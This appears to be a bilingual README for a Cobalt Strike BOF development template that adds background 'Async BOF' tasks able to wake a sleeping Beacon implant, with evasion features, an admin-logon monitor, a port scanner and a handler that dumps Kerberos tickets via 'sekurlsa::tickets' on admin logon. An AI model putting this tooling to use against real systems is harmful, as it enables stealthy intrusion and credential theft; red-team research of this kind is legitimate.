This repository contains the Beacon Object File Visual Studio (BOF-VS) template project. You can read more about rationale and design decisions from this blog post.
This template extends the standard BOF-VS template with the Async BOF Framework, implementing the research from Outflank's "Async BOFs - Wake Me Up, Before You Go Go" blog post.
本模板在标准 BOF-VS 模板基础上扩展了 Async BOF 框架,实现了 Outflank 研究文章 "Async BOFs - Wake Me Up, Before You Go Go" 中的技术成果。
Async BOFs allow BOFs to run as background monitoring tasks while the Beacon is sleepmasked. When the Async BOF detects a significant event (e.g., an admin logon), it can immediately wake the Beacon to relay the information.
Async BOF 允许 BOF 作为后台监控任务运行,同时 Beacon 处于 sleepmask 状态。当 Async BOF 检测到重要事件(如管理员登录)时,可以立即唤醒 Beacon 以传递信息。
┌─────────────────────────────────────────┐
│ Cobalt Strike Teamserver │
│ ┌─────────────────────────────────┐ │
│ │ async_bof.cna (Aggressor) │ │
│ │ • Job lifecycle management │ │
│ │ • Stop event handling │ │
│ │ • Output interception │ │
│ │ • Wakeup signal processing │ │
│ └─────────────────────────────────┘ │
└─────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
│ Beacon Process │
▼ ▼
┌─────────────────┐ ┌─────────────────┐
│ Main Beacon │ │ Async BOF │
│ Thread │◄─────│ Thread │
│ (Sleep/C2) │ wake │ (Monitoring) │
└─────────────────┘ └─────────────────┘
| Feature | Description | 特性 | 说明 |
|---|---|---|---|
| Non-blocking | BOF runs in background without blocking main Beacon | 非阻塞执行 | BOF 在后台线程运行,不阻塞主 Beacon |
| Event wakeup | Async BOF can wake Beacon immediately on events | 事件唤醒 | Async BOF 可在检测到事件时立即唤醒 Beacon |
| Graceful shutdown | BOF can detect stop signals from operator | 优雅关闭 | BOF 可检测操作员发送的停止信号 |
| Sleepmask compatible | IAT patching for calling Beacon APIs while sleepmasked | Sleepmask 兼容 | 支持在 Beacon 加密状态下调用 Beacon API |
| Blog-aligned API | Uses BeaconWakeup()/BeaconGetStopJobEvent() as per Outflank blog |
博客对齐 API | 使用 Outflank 博客中定义的 BeaconWakeup()/BeaconGetStopJobEvent() |
| OPSEC enhanced | Thread pool, stack spoofing, API hashing | OPSEC 增强 | 线程池执行、栈欺骗、API 哈希化 |
| OPSEC enhanced | Thread pool, stack spoofing, API hashing | OPSEC 增强 | 线程池执行、栈欺骗、API 哈希化 |
| Requirement | Description | 要求 | 说明 |
|---|---|---|---|
| Windows | x64 Windows 10/11 | Windows | x64 Windows 10/11 |
| Visual Studio | 2022 Community/Pro/Enterprise with C++ workload | Visual Studio | 2022 Community/Pro/Enterprise 已安装 C++ 工作负载 |
| Cobalt Strike | 4.x (for loading compiled BOFs) | Cobalt Strike | 4.x(用于加载编译后的 BOF) |
| Python | 3.x for boflint (optional) | Python | 3.x 用于 boflint(可选) |
-
Load the Aggressor Script / 加载 Aggressor 脚本:
Aggressor Scripts → Load → BOF-Template/cna/async_bof.cna -
Open the BOF-VS project in Visual Studio / 在 Visual Studio 中打开 BOF-VS 项目
-
Build your Async BOF / 编译 Async BOF:
- Select Release | x64 / 选择 Release | x64 配置
- Build (Ctrl+Shift+B) / 编译(Ctrl+Shift+B)
-
Upload the
.x64.ofile to your teamserver / 上传.x64.o文件到 teamserver
#include "async/async_bof.h"
void go(char* args, int len) {
// Initialize with stop event handle from CNA loader
async_init(args, len);
if (!async_is_initialized()) {
BeaconPrintf(CALLBACK_ERROR, "[!] This BOF requires async_bof.cna");
return;
}
// Get the stop event handle (Outflank blog API)
HANDLE hStop = BeaconGetStopJobEvent();
BeaconPrintf(CALLBACK_OUTPUT, "[*] Async BOF started");
// Main monitoring loop — use the stop event directly
while (WaitForSingleObject(hStop, 1000) == WAIT_TIMEOUT) {
// Check for target event
if (event_detected) {
// Print alert and wake Beacon immediately
ASYNC_ALERT("[!] Important event detected!");
}
}
BeaconPrintf(CALLBACK_OUTPUT, "[*] Async BOF stopped");
}beacon> async_bof <bof_file.o> [args...]
Execute an Async BOF / 执行 Async BOF
beacon> async_jobs
List all async jobs / 列出所有异步任务
beacon> async_stop <job_handle>
Stop a specific job / 停止指定任务
beacon> async_stop_all
Stop all jobs / 停止所有任务
| Function | Description | 函数 | 说明 |
|---|---|---|---|
async_init(args, len) |
Initialize, parse stop event from args | async_init(args, len) |
初始化,从 args 解析 stop event |
BeaconGetStopJobEvent() |
Get stop event handle (blog API) | BeaconGetStopJobEvent() |
获取 stop event 句柄(博客 API) |
async_should_stop(ms) |
Check if stop signal received (wraps WaitForSingleObject) | async_should_stop(ms) |
检查是否收到停止信号 |
BeaconWakeup() |
Signal Beacon to wake up (blog API) | BeaconWakeup() |
发送唤醒信号给 Beacon(博客 API) |
async_printf(type, fmt, ...) |
Print output to console | async_printf(type, fmt, ...) |
输出到 Beacon 控制台 |
async_stopping() |
Send STOPPING notification | async_stopping() |
发送 STOPPING 通知 |
async_stopped() |
Send STOPPED notification | async_stopped() |
发送 STOPPED 通知 |
// Alert: print and immediately wake Beacon / 警报:输出并立即唤醒 Beacon
#define ASYNC_ALERT(fmt, ...) \
do { async_printf(CALLBACK_OUTPUT, fmt, ##__VA_ARGS__); async_wakeup(); } while(0)
// Check stop signal with 0ms timeout / 检查停止信号(0ms 超时)
#define ASYNC_CHECK_STOP() async_should_stop(0)Async BOF communicates with CNA loader via special output messages:
Async BOF 通过特殊输出消息与 CNA loader 通信:
\x00ASYNCPROTO\x00[CMD]\x00[PAYLOAD]
| Command | Direction | Description | 命令 | 方向 | 说明 |
|---|---|---|---|---|---|
WAKEUP |
BOF → CNA | Request Beacon wakeup | WAKEUP |
BOF → CNA | 请求 Beacon 唤醒 |
STOPPING |
BOF → CNA | BOF preparing to stop | STOPPING |
BOF → CNA | BOF 准备停止 |
STOPPED |
BOF → CNA | BOF has stopped | STOPPED |
BOF → CNA | BOF 已停止 |
DATA |
BOF → CNA | Normal output data | DATA |
BOF → CNA | 正常输出数据 |
Monitors Windows Security Event Log for logon events (4624/4625). Wakes Beacon when administrator logon is detected.
监控 Windows 安全日志中的登录事件(4624/4625)。检测到管理员登录时唤醒 Beacon。
// Execute / 执行
beacon> async_bof async_monitor_logon.x64.o
// Output / 输出
[!] LOGON EVENT DETECTED
[!] User: DOMAIN\Administrator
[!] Logon Type: 2
[!] ADMIN LOGON: DOMAIN\AdministratorMonitors for specific process startup using NtQuerySystemInformation.
使用 NtQuerySystemInformation 监控指定进程启动。
// Monitor notepad.exe, check every 2000ms / 监控 notepad.exe,每 2000ms 检查一次
beacon> async_bof async_monitor_process.x64.o notepad.exe 2000
// Output / 输出
[!] PROCESS START DETECTED
[!] Process: notepad.exe
[!] PID: 1234
[!] PROCESS START: notepad.exe (PID: 1234)TCP port scanner using non-blocking sockets. Wakes Beacon on each open port discovery.
使用非阻塞 Socket 的 TCP 端口扫描器。每次发现开放端口时唤醒 Beacon。
// Scan first 1024 ports on 192.168.1.1 with 500ms timeout
beacon> async_bof async_portscan.x64.o 192.168.1.1 1 1024 500
// Output / 输出
[!] OPEN PORT: 192.168.1.1:22
[!] OPEN PORT: 192.168.1.1:80
[!] OPEN PORT: 192.168.1.1:443
[*] Progress: 100/1024 ports scanned (3 open)
[*] Scan complete: 3/1024 ports open on 192.168.1.1The aggressor script supports registering event handlers that trigger on DATA protocol messages:
Aggressor 脚本支持注册事件处理函数,在收到 DATA 协议消息时触发:
// Register an automated handler on the operator console
beacon> async_on_event ADMIN_LOGON { blogin($bid, 'sekurlsa::tickets'); } 'Dump tickets on admin logon'Handlers run on the teamserver when the async BOF sends a DATA message. This enables automated responses without polling.
处理函数在 teamserver 端运行(当 async BOF 发送 DATA 消息时触发),无需轮询即可实现自动化响应。
The framework includes mock testing support in base/mock_async.h / base/mock_async.cpp.
框架在 base/mock_async.h / base/mock_async.cpp 中包含 mock 测试支持。
#ifdef _DEBUG
#undef DECLSPEC_IMPORT
#define DECLSPEC_IMPORT
#include "base/mock_async.h"
#endif
extern "C" {
#include "beacon.h"
#include "async/async_bof.h"
}
extern void go(char* args, int len);
// Test wakeup was triggered / 测试唤醒是否被触发
TEST(AsyncBofTest, WakeupTriggered) {
bof::async_mock::reset();
auto output = bof::runMockedAsync<>(go, "admin");
ASSERT_TRUE(bof::async_mock::wasWakeupCalled());
}
// Test stop event works / 测试 stop 事件
TEST(AsyncBofTest, StopEventWorks) {
bof::async_mock::reset();
bof::async_mock::triggerStopEvent(); // Trigger manually / 手动触发
auto output = bof::runMockedAsync<>(go);
}| Function | Description | 函数 | 说明 |
|---|---|---|---|
bof::async_mock::reset() |
Reset mock state | bof::async_mock::reset() |
重置 mock 状态 |
bof::async_mock::setMockStopEvent(h) |
Set mock stop event | bof::async_mock::setMockStopEvent(h) |
设置 mock stop event |
bof::async_mock::wasWakeupCalled() |
Check if wakeup triggered | bof::async_mock::wasWakeupCalled() |
检查唤醒是否被触发 |
bof::async_mock::getLastAsyncMessage() |
Get last ASYNCPROTO message | bof::async_mock::getLastAsyncMessage() |
获取最后的 ASYNCPROTO 消息 |
bof::async_mock::triggerStopEvent() |
Trigger stop event | bof::async_mock::triggerStopEvent() |
触发 stop 事件 |
The framework supports calling Beacon APIs while Beacon is sleepmasked through IAT (Import Address Table) patching. When Beacon's memory is encrypted, direct calls to BeaconPrintf would crash. IAT patch redirects calls to a proxy function outside the encrypted region.
框架通过 IAT(导入地址表)修补支持在 Beacon sleepmask 状态下调用 Beacon API。当 Beacon 内存被加密时,直接调用 BeaconPrintf 会崩溃。IAT patch 将调用重定向到加密区域外的代理函数。
Standard BOF (crashes during sleepmask) / 标准 BOF(sleepmask 时崩溃):
BeaconPrintf@IAT → 0xBeaconMemory (encrypted/已加密)
Patched BOF (safe) / 已修补 BOF(安全):
BeaconPrintf@IAT → AsyncBOF_ProxyPrintf (unencrypted stub/非加密存根)
Proxy functions live in async/async_bof_proxy.cpp. To prevent infinite recursion (proxy calling patched BeaconPrintf which calls proxy again), the patch code saves original function addresses before overwriting the IAT:
代理函数位于 async/async_bof_proxy.cpp。为防止无限递归(代理调用已被修补的 BeaconPrintf,后者再次调用代理),补丁代码在覆盖 IAT 之前保存原始函数地址:
Before patch / 修补前:
beacon$BeaconPrintf → Real BeaconPrintf (in beacon.dll)
Patch step 1: Save original / 补丁步骤 1:保存原始地址
async_bof_save_original("BeaconPrintf", RealBeaconPrintfAddr)
Patch step 2: Redirect / 补丁步骤 2:重定向
beacon$BeaconPrintf → proxy_BeaconPrintf
At runtime / 运行时:
BOF code → proxy_BeaconPrintf (wraps in ASYNCPROTO)
→ saved original RealBeaconPrintf (no recursion / 无递归)
| Proxy Function | Saved Original | 代理函数 | 保存的原始函数 |
|---|---|---|---|
proxy_BeaconPrintf |
g_orig_BeaconPrintf |
proxy_BeaconPrintf |
g_orig_BeaconPrintf |
proxy_BeaconOutput |
g_orig_BeaconOutput |
proxy_BeaconOutput |
g_orig_BeaconOutput |
proxy_BeaconWakeup |
(calls async_wakeup directly) |
proxy_BeaconWakeup |
(直接调用 async_wakeup) |
proxy_BeaconGetStopJobEvent |
(calls async_get_stop_event directly) |
proxy_BeaconGetStopJobEvent |
(直接调用 async_get_stop_event) |
proxy_BeaconDataParse/Int/Short/Length/Extract |
g_orig_BeaconData* |
proxy_BeaconData* |
g_orig_BeaconData* |
The proxy functions async_bof_proxy.cpp is not compiled as a standalone COFF to avoid self-patching recursion. It is linked only into the debug EXE for testing.
async_bof_proxy.cpp 不会编译为独立 COFF,以避免自修补递归。它仅链接到调试 EXE 用于测试。
#include "async/async_bof_patch.h"
ASYNC_PATCH_RESULT result;
// Patch single import / 修补单个导入
async_bof_patch_imports(
pCoffData, // COFF object buffer / COFF 对象缓冲区
dwCoffSize, // Buffer size / 缓冲区大小
"beacon", // Module name / 模块名
"BeaconPrintf", // Function name / 函数名
pProxyFunctionAddr, // New address / 新地址
&result // Result / 结果
);
// Auto-patch all Beacon imports / 自动修补所有 Beacon 导入
async_bof_patch_coff(pCoffData, dwCoffSize, &result);The template maintains full support for standard BOF development.
模板完整支持标准 BOF 开发。
// Global function pointer / 全局函数指针
DFR(KERNEL32, OpenProcess)
#define OpenProcess KERNEL32$OpenProcess
// Local function pointer / 局部函数指针
void func() {
DFR_LOCAL(KERNEL32, CreateFileA);
CreateFileA(...);
}bof::mock::BofData data;
data.pack<int, short, const char*>(6502, 42, "Hello");
go(data.get(), data.size());TEST(ExampleBofTest, TestCase1) {
auto actual = bof::runMocked<int>(go, 6502);
std::vector<bof::output::OutputEntry> expected = {
{CALLBACK_OUTPUT, "Hello: 6502"}
};
ASSERT_EQ(expected, actual);
}| Configuration | Purpose | Output | 配置 | 用途 | 输出 |
|---|---|---|---|---|---|
| Debug | Run BOF as executable with mock Beacon | .exe |
Debug | 使用 mock Beacon 将 BOF 作为可执行文件运行 | .exe |
| Release | Compile to COFF object for Cobalt Strike | .x64.o |
Release | 编译为 COFF object 文件供 Cobalt Strike 使用 | .x64.o |
| UnitTest | Build with GoogleTest framework | .exe |
UnitTest | 使用 GoogleTest 框架构建 | .exe |
boflint runs during Release builds for static analysis:
boflint 在 Release 构建期间运行静态分析:
- Relocation types: Validates only supported relocations / 重定位类型:验证仅使用支持的重定位
- Entry point: Verifies
goorsleep_maskexists / 入口点:验证go或sleep_mask存在 - Imports: Flags undefined imports / 导入:标记未定义的导入
- Stack variables: Detects unresolvable stack probing / 栈变量:检测无法解析的栈探测
- Exception handling: Warns against unsupported exceptions / 异常处理:警告不支持的异常
Manual run / 手动运行:
python ./utils/boflint.py --loader cs x64/Release/bof.x64.o
BOF-Template/
├── async/
│ ├── async_bof.h # Async BOF API (BeaconWakeup/BeaconGetStopJobEvent wrappers)
│ ├── async_bof.c # Core implementation / 核心实现
│ ├── async_bof_patch.h # IAT patching interface / IAT 修补接口
│ ├── async_bof_patch.c # COFF patching + save-original logic / COFF 修补 + 保存原始地址
│ ├── async_bof_proxy.cpp # Proxy functions with saved-original trampolines
│ ├── async_protocol.h # Protocol constants / 协议常量
│ └── async_protocol.c # Message encoding / 消息编码
├── base/
│ ├── helpers.h # DFR macros
│ ├── mock.h / mock.cpp # Beacon API mock (all 50+ APIs)
│ ├── mock_syscalls.cpp # Syscall mock infrastructure
│ └── mock_async.h / mock_async.cpp # Async mock framework
├── cna/
│ └── async_bof.cna # Aggressor Script (job lifecycle, event automation)
├── examples/
│ ├── async_monitor_logon.c # Logon monitor / 登录监控
│ ├── async_monitor_process.c # Process monitor / 进程监控
│ └── async_portscan.c # TCP port scanner / TCP 端口扫描器
├── utils/
│ └── boflint.py # BOF static analyzer / BOF 静态分析器
├── .github/workflows/
│ └── build.yml # GitHub Actions CI (windows-2022, MSVC x64/Win32)
├── Makefile # NMake build (COFF + EXE debug)
└── BOF-Template.vcxproj # Visual Studio project
| Source | Description |
|---|---|
| Outflank: Async BOFs | Original Async BOF research |
| Cobalt Strike BOF Docs | Official BOF documentation |
| Simplifying BOF Development | BOF-VS template rationale |
| 来源 | 说明 |
|---|---|
| Outflank: Async BOFs | 原始 Async BOF 研究 |
| Cobalt Strike BOF 文档 | 官方 BOF 文档 |
| 简化 BOF 开发 | BOF-VS 模板设计理念 |